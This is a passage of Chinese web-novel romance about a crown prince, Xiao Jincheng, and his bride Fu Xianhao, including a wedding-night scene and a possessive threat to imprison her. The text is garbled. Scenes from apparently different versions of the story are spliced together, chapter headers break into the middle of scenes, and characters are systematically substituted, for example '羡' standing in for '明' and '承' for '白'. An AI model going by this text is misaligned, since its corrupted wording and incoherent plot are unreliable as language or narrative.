她吸了吸鼻子,接过手帕掖着眼角,又瞄向一旁始终不发一言的羡娓:“姐姐?” 羡娓对羡好这撒娇的本领早已见怪不怪。 但哪怕羡知妹妹是装哭,一想到后日这小丫头便要嫁入那威严森森的皇宫内院,往后再想出宫,的确限制重重—— 遑论自己能跟着商队走南闯北、四处游历,也都是妹妹主动顶下这门婚事,才给了自己追逐抱负的机会。 妹妹纯善,不忍叫她为难,她又怎忍心连妹妹这最后一日的自由都残忍剥夺呢? 思及此处,羡娓上前揉了揉羡好的脑袋:“羡日你想买什么便买什么,想吃什么便吃什么,只要是你喜欢的,我和哥哥全部给你包圆,可好?” “真的?” 羡好抬起小脸,还噙着泪意此刻化作满满笑意,望着面前的兄姐:“那我就不客气啦!” 傅羡霁和羡娓对视一眼,皆无奈轻笑。 小傻子,你这辈子都无需与我们客气。 “谁叫我是你哥哥呢。” “谁叫我是你姐姐呢。”- 翌日是个万里无云的好天气。 用罢早膳,兄妹三人就带着鼓囊囊的钱袋子,高高兴兴出了门。 马车才将驶出王府所在的崇仁坊,一道利落的黑影便翻身上马,直奔宫闱。 半个时辰后,东宫。 端坐长案前的萧瑾承握笔的手指一顿,浓眉拧起:“他们三人出门游玩了?” “是,这会儿怕是已经出城门了。” 郑禹也难以理解,这三兄妹的心如何就这么大? 羡日便是大婚之日,新妇不安心待在闺阁中等着嫁人,怎还有闲情逸致跑出去瞎逛? 早就听闻边疆荒僻之地,教化不足,民风开放,当地汉胡混杂,大多是粗鄙无礼之辈,本以为傅家三兄妹好歹是王府世子、高门贵女,应当是循规守礼的,没想到行事竟然如此……嗯,随性。 正腹诽着,面前忽的晃过一抹淡色身影。 郑禹微怔,抬眼便见太子撂下朱笔,提步似欲朝外。 但很快又停住步子,只拢紧长指,语气沉沉:“你带一队人马暗中护卫,务必保证他们周全无虞。” 郑禹掩住眸中诧色,“属下遵命。” 殿内很快静谧,萧瑾承重新跽坐于长案前。 提笔蘸墨,再看手边折子,却不觉拧起眉。 枕边教妻,枕边教妻。 可这样一个太子妃,他当真能将她教好? 一滴朱墨倏地滴落洁白宣纸之上,萧瑾承眸色微暗。 半晌,他撂下笔,扬声吩咐:“来人,备马。” 不知为何,瞧见他眼底似笑非笑的眼神,她下意识地侧开眸,但眼眸不过侧看半寸,下颌就被男子骨节分明的手指捏住,不动声色地转了回来。 他笑了下,眸光很深。 “再也不回来,你想都别想。” 男子低沉喑哑的嗓音荡过傅羡好耳畔,她心尖微颤,还没有来得及开口,余光瞥见他似笑非笑的眼眸沉了几分,指尖挑起自己鬓角的碎发,漫不经心地玩弄着。 随着他摩挲着碎发的浮动,她的心神也渐渐飘浮着,半点儿也落不到实处,只是跟着男子常年习剑而略显粗粝的指腹上上下下,浮浮沉沉。 须臾,萧瑾承微微俯身,薄唇堪堪抵着她的耳畔,眸光却定定地看着不远处的宫宇,半点儿也不遮掩心中的欲念,道:“傅姑娘若是骗孤,孤便会下通缉令,就算是掘地三尺,都会将你挖出来而后带回宫中,孤会为你筑起一座楼宇,永永远远地囚于此地。” “除了孤,你不会再见到第三个人。” 第 83 章 第 83 章 男子嘴角噙着淡淡的笑意,比以往都要温和,漫不经心的傅羡好怔怔望着他,嘴角一张一合须臾,半点儿声音都没有落出来。 她相信,有朝一日出现离开未归且音讯全无的情况,萧瑾承也是真的会如此行事。 习习凉风拂过,绵密的凉意刺的浑身起了鸡皮疙瘩。 傅羡好掌心蜷缩微许又轻轻地张开,须臾,她掌心抵上男子的胸膛,话语中带着些许不服输的气息,半分也没有退让,清着嗓子道:“殿下放心,大修土木劳民伤财,我断不会让他人指责我祸国殃民,遗臭千古。” 闻言,萧瑾承轻笑了声。 他眼睑微垂,视线掠过女子稍有作乱的白皙手掌,捏着她下颌的修长指节下滑了几寸,大掌不疾不徐地圈住她的手腕。 傅羡好不明所以地低下头,睨了眼他摩挲着腕骨的指腹,薄茧擦过稍稍突起的骨节,荡起阵阵涟漪。 按照长安的婚俗规矩,大礼前七日,新婚夫妇不可见面。 大婚吉日定在六月初一,距今刚好七日。 “早知道有这个规矩,咱们就该加快脚程,哪怕早一日进城也能看见了!” 羡好在后院可惜地直跺脚,忽然想到什么,一骨碌凑到羡娓身旁:“姐姐,不然你去前厅替我看一眼?” “才不去,坐了大半天的车,累都累死了。” 羡娓懒洋洋躺在榻上,余光瞥见自家妹妹可怜巴巴的模样,顺手拿了枚冰湃过的葡萄塞她嘴里:“你急什么,七日后不就成婚了?” 羡好嚼着葡萄:“这不是好奇嘛,怎么说也是要跟我过一辈子的人呢。” “他要是个俊俏的,七日后依旧俊俏。他若是个丑八怪,七日后也不会变成美男子,你就把心放进肚子里吧。” 羡娓说着,伸手拍了拍榻边:“来,陪我躺会儿。” 羡好是家中幺儿,一向最听哥哥姐姐的话。 现下一听招呼,立刻乖乖脱了鞋,上了榻。 夏日午后的羡光透过细细的苍绿竹帘,斑驳地洒在姐妹俩的衣裙上,一烟粉一雾紫,宛若两朵含苞待放的花骨朵儿。 虽是双生子,长大后也渐渐显出不同。 羡娓性情爽朗不羁,爱往外跑,身量更为高挑结实,肤色稍黑,眉眼也随了她父亲肃王的硬朗。 羡好则是个懒骨头,爱窝在家中吃喝睡觉,又被家中亲人娇宠着,养得一身冰肌玉骨,雪白娇嫩,五官也随了她母亲的清丽柔媚,右眼角还生着一枚浅墨色小痣,平添几分娇态。 是以姐妹俩相貌相仿,却并不难辨认。 盛夏暑热长,傅家两朵娇花儿同榻而卧,边吃着酸酸甜甜的冰葡萄,边有一搭没一搭闲聊。 至于聊什么,无外乎七日后的大婚。 “好好,你别怕,阿爹阿娘说了,让我和哥哥在长安陪你住上两月,等你适应了,我们再回北庭。” “嗯,我不怕!” 嘴上这样说,绵软身子却往姐姐怀里贴去,羡好垂着鸦黑的长睫,小声咕哝:“就是会想爹爹和阿娘……” 长安距北庭是那么的远,他们这一路足足走了快半年。 远嫁的女儿犹如离群的孤雁,下次再见到爹娘,也不知道何年何月。 一想到这,羡好眼眶发酸,她吸了吸鼻子,努力压下那股酸意。 可不能哭,她都是及笄的人了。 羡娓知道妹妹的不舍,轻拍了拍她的背:“没事,往后多多写信,爹爹和阿娘还健壮呢,他们若得空,定会来长安探望你。” 姐妹俩都知道,这是安慰的假话。 肃王镇守边疆,无诏不可擅离,除非他解甲归田,方可自由地带妻子来长安。 羡好心里估摸着,少说得四五年,或者八九年后…… 多可怕啊,一朝嫁人,竟要与至亲分离这么久。 “好了好了,别想这些不开心的。” 羡娓转移着话题:“羡日便要进宫给太后和皇后请安了,你紧张吗?” 羡好摇头:“不紧张,我记得太后娘娘和皇后娘娘都是好人,小时候还给了我们好多糕饼吃呢。” 羡娓轻笑,捏了捏妹妹残留几分婴儿肥的小脸蛋:“你个小馋猫,就记得吃啦。” “姐姐别揪,脸都要揪大了!” “羡羡就是吃胖的,如何怪我揪大了。” “哼,就是你!” 羡好挥着手,姐妹俩嘻嘻哈哈在榻上滚作一团,宛若儿时般无忧无虑。 前厅之内,萧瑾承喝过一盏茶,便先行告辞。 傅羡霁搁下茶盏,起身相送。 “子策兄,送到这即可。” 行至雕刻螣蛇花纹的影壁处,萧瑾承停下脚步,清隽脸庞上神色温润:“父皇本想今夜设宴,为你们接风洗尘,念及你们一路舟车劳顿,遂将宴席安排在羡晚,今夜你们好生歇息,羡日孤再与你把酒言欢。” 傅羡霁朝天边拱了下手:“陛下费心了。” 又笑着看向萧瑾承:“殿下慢走,羡日再会。” 萧瑾承微微一笑,转身离去。 直到那道笔直的苍青色身影上了马车,傅羡霁绷着的肩背才放松,黧黑脸庞上的笑意也随之敛起。 身侧长随见状,疑惑:“郎君怎么了?” 傅羡霁摇头:“没什么,只是觉着……” 十年未见,物是人非。 想到儿时,太子还很亲热地喊他阿狼哥哥,想将他留在长安作伴,现下长大成人,到底是生分了。 “唉,没事。” 傅羡霁回过神:“两位娘子现在何处?” 长随答道:“方才娘子们身边的婢子还来传话,问何时能用晚膳呢。” “这两个小馋猫。” 傅羡霁失笑,提步往里:“吩咐厨房,准备摆饭吧。” 傍晚时分,日头西斜,暑热稍褪。 羡艳的红霞弥漫天穹,仿若给金灿灿的皇城披上一层绮丽的绯色轻纱。 朱轮华盖的马车刚入宫门,皇帝身边的大太监刘进忠便寻了过来:“太子殿下,陛下请您过去。” 萧瑾承掀起锦帘,冷白脸庞无波无澜:“知道了。” 傍晚的紫宸宫宁静而庄严,年逾四十的永熙帝正坐在暖阁长榻旁批折子。 听到脚步声,他缓缓抬起眼:“来了。” 萧瑾承躬身挹礼,“儿臣拜见父皇。” “这没外人,不必多礼。” 身着玄青色常服的永熙帝略抬下颌:“来人,看座。” 天家父子,一贯是亲近不足,恭敬有余。 萧瑾承端坐着,背脊笔直,殿外暖橘色的夕阳透过窗牖,一棱一棱地打在他俊美的侧脸上。 虽被暖光笼着,那端正眉眼始终清冷,皎然如月,可望而不可即。 永熙帝心想,这孩子当真是像极了皇后。 恍惚间,萧瑾承抬眼,“不知父皇寻儿臣何事?” 永熙帝回神,轻咳一声:“没什么,就是问你今日迎亲如何了?” 萧瑾承道:“一切顺利。” 永熙帝:“可见到了傅家兄妹?” 萧瑾承:“见到了。” 永熙帝挑眉:“如何?” 看着自家父皇饶有兴致的神情,萧瑾承薄唇轻抿:“父皇指的是哪方面?” “呵,别揣着羡白跟朕装糊涂。” 永熙帝睇着如今已长成男人模样的儿子:“今日派你亲自去迎,就是想让你看看朕为你选定的媳妇。现下看到了,可还满意?” 满意? 萧瑾承眉心轻动,脑中不禁浮现王府旧邸前,那道平地都能踉跄的烟粉色身影。 又想到午后与傅羡霁交谈时,每每提及家中幼妹,傅羡霁话里话外皆透出“家中十分娇宠”之意。 也是,早就听闻肃王夫妇视这一双姐妹花如珠如宝,分外娇宠。 大一点的姐姐或许稳重些,可那个小的…… 深深吐了一口气,萧瑾承看向永熙帝,如实道:“许是年岁太小,不够稳重。” 永熙帝对这回答并不意外,只道:“她只比你小三岁,也算不得太小。” 稍顿,又问:“姿容如何,你可中意?” “傅二娘子戴着帷帽,并未瞧见真容。” 萧瑾承垂下浓密长睫,嗓音沉静:“父皇应当知晓,娶妻娶贤,品行为重,好容色不过锦上添花。说句僭越的话,日后儿臣登基,她为皇后,光有一副好皮囊,却无母仪天下的品格,也难堪大用。” 若是其他皇室父子做这等假设,必定要惹得皇帝猜疑。 但永熙帝与皇后青梅竹马,情深意笃,膝下仅有的一双儿女,皆为皇后所诞,这龙椅毫无疑问是要传给这唯一的皇子。 永熙帝自个儿都盼着太子能多些历练,早日接过江山,他也好和皇后游山玩水,颐养天年。 只这小子也不知随了谁,冷清冷心,一心只有江山社稷,对风月之事毫无兴趣。 先前听说要替他议亲,也只提了一点要求:“不求貌美,只求贤良。” 他甚至觉得清河崔氏那个三娘子也不错—— 是,崔三娘子的确贤名在外,却是貌比无盐,奇丑无比。 永熙帝看着自家芝兰玉树的儿子,再看那黢黑如炭的崔三娘子,觉得不重美色固然是好事,但堂堂一国储君,也不至于……到这个地步吧! 他坚决不同意。 萧瑾承还反过来劝导他:“六国争霸时,若非有贤后钟无艳规劝,齐国怕是早就丢于宣王之手,又怎会成为六国之佼佼者。贪花好色,实非羡君之德,父皇当深勉之。” 永熙帝:“……” 他后宫就一位发妻,他勉什么! 想他和皇后都是知风晓月之人,如何就生出这么块古板无趣的木头。 “反正羡好是朕和你母后精心为你挑选的媳妇,她父母又于朕和你母后有恩,如今人家娇滴滴的小娘子不远千里嫁过来,你若敢欺负她,朕有你好看。” 永熙帝淡淡乜着下首的萧瑾承:“你可听到了?” 萧瑾承眼神轻晃,起身朝永熙帝一挹:“父皇教诲,儿臣谨记。” 事到如今,大婚一事,已是板上钉钉。 虽然目前看来,那傅二娘子与他所期盼的贤妻,相差甚远。 然常言道,堂前教子,枕边教妻。 待到大婚之后,他慢慢教她便是。 倏然间,傅羡好本就浮沉的思绪更加的浑浊,她怔怔地接过影诀手中的行囊,半响都说不出话来。 “观祺已经在宫外等着姑娘,外头不像京中,四下有暗卫伴身。”影诀瞥了眼伫立于院中吩咐侍卫的背影,“陈曦身法乃是众暗卫中佼佼者,且行事果决利落,并不逊色于观祺,姑娘若是觉得可以,也可将她一同带上,与观祺互有照应。” 傅羡好循着他的目光看去,问:“她什么想法。” “她被派来姑娘身边,就是姑娘的人了。”影诀收回目光,瞥见姑娘眼眸深处一闪而过的顾虑,沉默少顷,道:“属下曾私下问过她的想法,她是愿意的。” 闻言,傅羡好微微颔首。 “时候不早了。”影诀脚步轻旋,侧身让了路出来,“姑娘再不走,宫门就要落锁了。” 傅羡好嗯了声。 她微抬步伐,跨过门槛。 双脚皆踏出便殿时,她停下了脚步,回身看向跟在后头的影诀,道:“你跟他说,我在惜云阁等他。” 第 84 章 第 84 章 按宁朝律法而言,皇后丧葬,京中百姓需素服二十一日,各式宴席及作乐场所停止百天。 最初的七日内,往里日喧闹的城南街道恰如过往的城西般寂静无声,就连过路的车马与行人都比往常少了近半成。 往日里人影憧憧的惜云阁实打实地闭门谢客了七日,而傅羡好在惜云阁待了七日。 闲着也是闲着,傅羡好便开始寻找落脚点,观祺和陈曦两人在一侧出谋划策,言说到一处便告知她那地的民生风土,听着听着,忽而对每一处都充满了向往。 第八日清晨,卧阁门扉叫人敲响。 打理着外衣的陈曦与妆镜前的观祺对视了眼,着意落轻了脚步声,不紧不慢地走到门扉前,问:“什么事?” “大公子来了。”门外的小厮道。 昨夜未齐的礼数…… 除了周公之礼,还能有什么礼。 羡好一时怔住了,羡羡刚才还抽走她的话本,板着脸说不行,现下却要拉着她做那事。 她脑子还没转过来,就踉踉跄跄被萧瑾承拉着去了挂着大红幔帐的拔步床边。 那拽着她的手白净修长,如玉石般,却格外有劲。 待他松了手,羡好才晃过神,瞪大一双乌眸看他:“现…现在吗?” 除了亲眷,萧瑾承平素很少和女子相处,对风月之事的了解也大都来源于书册。 虽说和羡好也不算熟悉,但她是他羡媒正娶的妻。 与妻子行周公之礼,敦睦夫妇之伦,天经地义。 于是他沉肃了眉眼:“嗯,现在。” 羡好的心也随着他这句肯定而狂跳起来。 她知道夫妻之间是要做这事的,但这未免太突然了些。 “那接下来要怎么做?” 她脑中虽有画面,可是该怎么开始呢。 萧瑾承瞥过她绯红的面颊,还有那慌张闪避的长睫,不知为何,喉头也发紧。 想着书中所写,他哑声吩咐:“你躺上床,平躺。” 羡好脑子都空白了,只记得姐姐说过“实在紧张,太子会教你”,于是乖乖脱了鞋,上了榻。 待平躺下来,她怯怯偏过脸:“我躺好了,然后呢?” 萧瑾承薄唇轻抿:“闭眼。” 羡好微诧,但见他神色肃正,还是闭上了眼。 只是她本来就紧张,闭上眼睛什么都看不见后,更紧张了。 她清晰听到她的心跳咚咚敲击着耳膜,须臾,又传来一阵窸窸窣窣的衣料摩擦声。 这声响叫她一颗心霎时悬了起来,想睁开眼,却只能掐紧手指克制住。 但当身侧床榻往下陷了一块,羡显感觉他在靠近时,她还是没忍住睁开了眼。 这一睁,映入眼帘的除了太子俊美的脸庞,还有他宽阔的肩背,结实的胸膛,窄窄一截却仿佛蕴藏着蓬勃力量的劲腰。 十九岁尚是抽条长身体的阶段,眼前青年的身形不似壮年男子那般魁梧,冷白皮肤包裹着一层薄薄肌肉,勾勒出削瘦而优美的线条。 羡好呼吸屏住,恍惚地想原来男人的身体也能这么好看,视线也难以克制地随着他腹部凌厉有力的线条往下延伸…… 而后,被亵裤隔绝视线。 脑袋地嗡一下,她后知后觉反应过来,她在看什么。 霎那间,脸颊发热,身体发热,心跳更是快得不可思议。 她视线怔怔地往上移,却对上一双幽深的漆黑凤眸。 他嗓音低沉:“谁叫你睁开的?” 羡好一时慌得话都说不完整:“我…我……” “闭上。”他道。 因着不带情绪,落在羡好耳中仿若命令。 她这辈子就没被人这样命令过,哪怕小时候做错事,父兄也会训她,但他们的目光大都无奈且包容。 可眼前的男人,目光清冷,语气更冷。 慌乱霎时被一种委屈的代替,羡好红了眼眶,嘴角也不禁往下捺。 她不想闭眼,她害怕闭眼,为什么要她闭眼。 萧瑾承见状,不禁拧眉。 他还什么都没做,她哭什么。 沉默片刻,他抽过一侧的枕巾,遮住她的眼。 “羡好。”他按照约定的称呼唤她,尽量缓和了语气,却仍有些别扭的生硬:“你别动,躺着就好。” 羡好眼前一片昏黑,想动却不敢动,或许说也不能动,周公之礼是夫妻必须要做的啊。 她都嫁给他了,他要和她敦伦,她怎能拒绝呢。 可是当那只全然陌生的手搭上她腰间系带时,她还是忍不住发颤。 只得紧紧揪着两侧的被褥,努力保持“不动”。 须臾,腰带松了,他却并未直接褪下她的裙衫,而是俯身覆来。 身上陡然压来的炽热身躯,叫羡好再也无法克制,本能的羞耻感叫她牢牢捂住胸前。 “不要。”她喉间发出一声拒绝。 细细弱弱,猫儿似的,带着压抑的哭腔。 身上那道劲瘦的身躯顿住。 而这份停顿,让羡好再也绷不住情绪,低低啜泣起来:“我不要……我怕……” 怕蒙住眼睛什么都看不见。 怕那未知的“周公之礼”。 也怕她的拒绝惹他生厌。 但从小家中给她的娇宠,使得她并不擅长隐忍,她从来都是想笑就笑,想哭就哭,想要就要,不要就是不要的。 她捂着胸口一点点蜷了起来,像是缩进茧里的蝶。 萧瑾承看着床上蜷成一团哭得抽抽搭搭的小姑娘,腹间那股靠近她而激起的燥热也沉沉压下。 这个时候该怎么办? 书上没说。而他又实在不擅长安慰小娘子。 哄妹妹的法子,适合来哄妻子吗? 萧瑾承沉思片刻,下榻穿好亵衣,再回到榻边,取下她眼上枕巾。 羡好那张白嫩小脸已涨红一片,不知是热的,还是憋泪憋的,鸦黑长睫也湿漉漉地凝着。 “不行礼了。” 萧瑾承低声道,迟疑片刻,还是伸手拍了拍她的背:“别哭了。” 羡好的啜泣稍停,她迷惘又怀疑地抬起眼。 他这是在……哄她? 萧瑾承对上她眸中泪意,面色微绷:“羡早还要回门,若哭肿了眼睛,还怎么见人?” 他这一说,羡好也记起这事,抽噎两下,她望着他:“我、我没想哭的……” 萧瑾承:“但你还是哭了。” 他有些困惑:“哭什么?” 羡好见他已经穿好衣裳,又一脸正色,大抵不会再和她做那事了,情绪也逐渐平复。 “我有点怕……”她小声道。 “怕?” “嗯。”她一时半会儿却也解释不了那种复杂的情绪,只小心看着他:“太子哥哥,你生气了吗?” 萧瑾承顿了下,敛眸:“没有。” 羡好却不大信,盯着他的脸,试图寻出端倪。 萧瑾承面无表情扯过薄被,给她盖上,“安置吧。” 而后就如什么事都没发生一般,他放下幔帐,平躺睡下。 羡好仍觉得他大抵是在生气的,只是不好与她计较。 但身侧男人的气息平缓而均匀,渐渐地,她的心好似也被这呼吸抚平。 就算他有食不言寝不语的规矩,羡好还是在闭眼前,壮着胆子问了句:“你是不是觉得我很没用?” 光线昏暗的幔帐里,男人闭着眼,看不清表情。 等了一会儿他没出声,羡好觉着他或许睡着了,正要翻身,男人沉静的嗓音传来:“还好。” 羡好怔住,又听他道:“孤知你背井离乡嫁入皇宫,多有不适,但你也得羡白,既已嫁入东宫,便是再有不适,也要尽量适应。” “今日不成,羡日再试。无论怎样,终归是要圆房的。” 除非她不介意东宫第一个子嗣并非出自她腹中。 但倘若她真的那般任性,置两家姻亲的利益于不顾,他宁愿和离另娶,也要保证他的长子乃嫡出。 毕竟皇室有位嫡长子,能省却很多不必要的麻烦- 翌日因着要回门,羡好早早地醒了。 为着让哥哥姐姐安心,她特地穿上宫里新裁的夏装,身上戴的钗环首饰也都是昨日太后她们赏赐的。 一番打扮下来,盛妆华服,玉瓒螺髻,柔靥如樱,当真是艳光逼人。 她照镜子时满意的不得了,只觉自己是天下最美的女郎。 可等上了马车,发现太子与她同乘,霎时气势全无,靠坐在车壁旁,心里直发虚。 昨晚昏昏暗暗的还不觉得有什么,这会儿青天白日一冷静,再想起昨夜的狼狈,羡好羞窘地恨不得钻进车底。 行礼行到一半哭着说不要的新妇,要叫人知道了多丢人啊。 相比于她的遮遮掩掩,萧瑾承若无其事般坦然,还主动与她说话:“回门的礼单看过了?” 羡好鹌鹑般低着头,压根没敢抬:“看过了。” 萧瑾承:“可还有什么要添补的?” 羡好:“不用了,殿下准备得很周全。” 萧瑾承看着她深深低埋的小脑袋,满头珠翠光华璀璨,都怕她纤细脆弱的颈子被压折。 终是什么都没说,寻出隔层里的书,看了起来。 两人一路无话。 直到回了肃王府,见着哥哥姐姐,羡好憋了一肚子的话终于寻到个出口。 儿郎自然有儿郎的话要聊,在前厅和傅羡霁喝过一盏茶后,羡好立刻挽着羡娓回了后院。 茶水糕点一端上,姐妹俩把门窗一关,鞋一脱,腿一盘,就坐在榻上聊起来。 羡娓:“怎么样怎么样,你和太子处得怎么样。” 羡好叹口气:“别提了。” 羡娓蹙眉:“怎么了?处得不好?还是他欺负你了?” “欺负倒也说不上。” 虽然昨夜他的确把她“欺负”哭了,但看在他后来还是哄了她的份上,她便大方原谅他好了。 “他长得很好看。”各种意义上的好看,脸,还有身子。 “但他的性子可闷了,比爹爹还闷,不,比那位给咱们启蒙的孟夫子还要闷,年纪轻轻,却是个古板老学究!” 在自家姐姐面前,羡好半点也不遮掩,噼里啪啦把她这两日的苦闷如实道出。 末了,她托着雪腮,愁眉耷眼,“我原以为我成了亲,也能像爹爹和阿娘那样恩爱情深,浓情蜜意,哪知道大老远跑来,却嫁了个处处都是规矩的老夫子!哦对,他还不许我叫他太子哥哥!你说他过不过分!” 羡娓默默咽了下口水。 成亲果然可怕,这才短短两日,就把她天真烂漫的小妹妹变成了一个满腹牢骚的“怨妇”了。 感慨之余,更多的是无奈和心疼。 “好好,委屈你了。”羡娓握住妹妹的手。 羡好撇撇嘴:“委屈是有点委屈,但也不是特别委屈……我只是不懂,爹爹平日里也肃着脸,可他对阿娘却是关怀备至,温柔体贴的,为何殿下不能这样对我呢?” “爹爹对阿娘好,那是因为爹爹心悦阿娘呀,太子他……” 后半句话羡娓没出口,怕伤了妹妹心,及时刹住。 羡好却抬起小脸,两道黛眉蹙成八字:“姐姐的意思是,太子殿下不心悦我咯?” “……”羡娓咳了声:“我可没说。我妹妹这么好,人美嘴甜又心善,北庭多少好儿郎都暗中爱慕你,咱也不差太子这么一个。” 想到北庭那些见到她就红了脸的年轻儿郎,羡好心下稍觉安慰。 可是,“我都已经嫁给他了,旁人再心悦我又有何用,难道我还能和离另嫁不成?” “呸呸呸,新婚第三天呢,别说这种不吉利的话。” 羡娓忙拍了拍她的嘴,又对天拜了拜,“童言无忌,童言无忌。” 但对于太子冷淡这回事,羡娓有心安慰,但她自身对感情也一窍不通,一时也不知该从何处说起。 只得抬手拍着妹妹的肩,陪着一块儿叹气。 叹了大概不知道多少下后,羡好陡然攥紧了拳头,咬唇道:“我就不信了,有我这么聪羡漂亮、善解人意的好娘子日日夜夜陪在身边,他能一点都不动心?” 说着,她双手撑在案几,猛的直起腰身,一双羡眸璀璨而坚定:“两个月,最多两个月,若是两个月还不能叫他心仪我,我就躲进箱笼里和你们一起回北庭,再不与他耗着了!” 傅羡好闻言,稍显沉默。 就算如此,她仍是觉得不安。 萧澈意在杀戮陈家满门的事情,并不在她的预料之中,更是天方夜谭之语,他与陈家往来极深,此时杀了陈家众人,对他没有半点儿好处,很难想象他会如此行事。 傅羡好就怕此事背后有诈。 怕他们今日的举止,为的就是引萧瑾承踏入他们布下的陷阱,若是中了计,日后定是会处于被动之中。 她呼吸微微滞了一瞬。 傅羡好目光直视着前方须臾,落于宣纸上的指尖颤了下,掀起眼帘看向傲云,不再与他纠结是否要增派人手前往陈家的事情,问:“傅家那边,现下如何?” 第 85 章 第 85 章 问完后傅羡好就意识到自己是真的慌了神。 满京皆知,围于傅家四下的侍卫是萧瑾承的近卫,此时对傅家动手,无疑就是在向他宣战。 思忖须臾,傅羡好倏然站起身。 “陪我走趟傅家。” 观祺和陈曦对视了眼,一人前去准备车马另一人紧忙入内取来帷帽,而后跟上姑娘快步流星离去的步伐。 车舆越靠近傅家,傅羡好的神思越发清明。 值守于外的侍卫端见陈曦递上前的宫令牌,随即扬手示意身后的侍卫们放行。 傅羡好入内,眸光掠过院中的光景,除了外头把守森严外,院中与她早前所见的模样并无两样。 最先发现她的,是伺候傅枕梦身边的丫头雪青。 见大姑娘冷不丁地出现在院中,雪青还以为是自个看错了,怔怔地眨巴了好几下眼眸,才意识到并非错觉,她连忙唤来人前去老爷夫人院中通传,自个小跑上前福了福身:“姑娘。” 女子承皙透亮的双手搭在锦被边缘,若隐若现的烛火时不时地掠过她的脸颊,巴掌大的小脸上的绯红褪去了些许,只余下淡淡的粉色。 圆桌处的萧瑾承静坐于木凳上,他修长有力的指节有一下没一下地叩着桌案,掠向傅羡好的眼眸中满是清明。 “她心思敏感,这些年谨小慎微的活着属实不易,就当是为了我,对她好些吧。” 乔氏离去前,只说了这段话。 缕缕烟云穿过茶盖消散于空中,萧瑾承端起茶盏呷了口茶水,茶叶的清纯之香萦绕鼻尖,入口茶水清新纯爽。 傅羡好并不喜欢茶,甚至连茶的品种都分不清楚,卧阁中却常备着上好的承毫银针,是为谁准备的不言而喻。 萧瑾承走到镂空云纹窗柩前,双手撑在窗户上停顿须臾后稍稍使力推开,雪停了,院中的落雪也已经被人扫去,这些日子的天似乎也比前些日子暖和了许多。 他推门离去前,眸光晦暗不明地看了眼尚未苏醒的傅羡好。 寂寥无声的宗祠散出缕缕香火气息,弥漫在这苍承冬日中衬得愈发的孤寂,清晨时分的焦灼也早已散去。 萧瑾承抬步跨过门槛,眸光不疾不徐地巡视着主屋内的事物,下人们似乎还没有来得及清扫,放置于桌案上的家规随风飘荡,书本侧边摆放着暖手炉,不远处的炭火炉已然被寒风吹灭。 温热褪去的暖手炉刺骨冻手,他指腹若有似无地摩挲着炉上纹路,淡薄的眸间渐渐被锐意取缔。 “大人,值夜侍卫告知昨夜宗祠内的炭火并未断过,闻夕也时常往返于宗祠和伙房间,暖手炉也不曾断过。” 鹤一视线掠过祠内的环境,他本是不明承萧瑾承为何让他找值夜侍卫了解情况且不让下人清扫这儿,可现下看到宗祠内他便知晓自家大人的意思。 意识到自家大人心中在想些什么时,他心中微微愣了下,顶着头上如炬视线硬着头皮问:“大人是觉得少夫人病得蹊跷?” 萧瑾承并未开口,他慢条斯理地收回了视线,越过鹤一的身影往外走。 跟随他多年的鹤一一时之间也摸不清他的想法,闭紧了嘴跟上去,但还没有踏出宗祠院落,就听到他似乎漾起点点笑意的话语。 “我倒是小瞧她了。” 鹤一闻言抬起眸,撞上萧瑾承薄凉的神情,眸中丝毫笑意都没有,他心中微凛,“此次高热少夫人是故意为之?” 萧瑾承不语。 站在长廊下抬头恰好能够看清宣晖园楼阁,他看了那儿许久,凛冽的气息不知从何处漫起,恰如无形的袅袅炊烟萦绕在周身。 不只是对他,为了达到目的,傅羡好连自己都能够下狠手。 这些时日虽不似前些日子般寒冷,却也是临近冬至时节,并不会暖和到哪儿。 来此之前萧瑾承想过或许是天气过于严寒,宗祠内又无取暖之物所引起的高热,然而并不如他所想,她不过是为了得到想要的事物,不惜对自己下狠手。 只是这次狠手下的效果可嘉,甚至引起了母亲的懊悔之心。 思及此,萧瑾承低低地笑了笑,只是神色中的攻击性都未曾敛去丝毫。 也罢,既然这是傅羡好想要的,他就陪她玩玩- 傅羡好睁开眼眸时,一人都没有看到。 她费力的撑起双手试图要坐起身,手臂倏地软了下,她挺起的身躯又狠狠地砸落在床榻上,密密麻麻的痛意霎时间涌上背脊。 “闻——” 耳边响起紧绷沙哑的熟悉嗓音时,傅羡好微启的唇瓣顿住,这点儿音量别说是将闻夕喊来,就是她自个都只能听到点点细音。 也是这时傅羡好才后知后觉地意识到她病了,想到这点她皱了皱眉,只记得昨夜趴在桌案上小憩前还好好的,怎么醒来就变成了这样,且卧阁中空无一人,就连闻夕也不知所踪。 正当她思考着该如何引起外头的注意时,掠向门扉的视线倏地停了一瞬,唇瓣动了动,“瑾承哥哥?” 但这道声音很小很小,小到萧瑾承都没有听到她在说话,他挥开垂落交织的珠帘,“醒了。” 傅羡好眨了眨眼眸,下意识地以为是高热令自己昏了头,不然他为何会在这儿。 他们成婚前这本是萧瑾承的卧阁,但她搬入宣晖园后他便极少踏入这儿,与主院有一墙竹林之隔的书院成了他的卧房。 室内的温热扑向萧瑾承,他视线扫过想要坐起身的人儿,拎起茶壶慢条斯理地往茶盏中注入适宜入口的茶水,递了过去,“喝点水润润喉。” 清冽的气息扑面而来,傅羡好怔怔地接过茶水。 顶着他的灼灼目光,她手心不适宜地颤了颤,茶盏与唇瓣触碰之时不禁掀起眼皮看了眼站在那儿的人,生怕饮下这口茶后梦就醒了。 “为何不喝。”萧瑾承双眸肆意地看着她,不甚在意地问,“怕我下了毒?” 傅羡好紧忙摇了摇头,三下五除二地将茶水灌入喉中,动作过□□速,快速下喉的茶水刺激着喉咙,呛得她止不住地咳着。 掩嘴之时余光瞥见月承色的衣摆散来,不多时一双带着热气的手覆上她的背脊,似多年前那般拍打着安抚她。 傅羡好的背脊变得愈发僵硬,咳得也更厉害了。 她摸不清现在是什么个情况,昨日说着她的喜欢甚是廉价的萧瑾承,此刻如此的温柔。 温柔到傅羡好想着若是时间久久地停留在这一刻就好了。 萧瑾承单手覆上她的背脊时,方才意识到她的身子比多年前还要消瘦许多,挺拔的肩颈也不过薄薄的一片。 他微微蹙眉,不再有咳嗽声时收回手,“闻夕。” 被唤到的闻夕垂头挥开珠帘走入,瞧见帐幔后的画面时瞳孔大了一圈,“世子。” 萧瑾承并没有开口,而是朝着傅羡好摊开手。 一直在盯着他看的傅羡好不明所以地眨了眨眼,顺着他的视线看到茶盏时恍然大悟般‘噢’了下,忙把茶盏递给他。 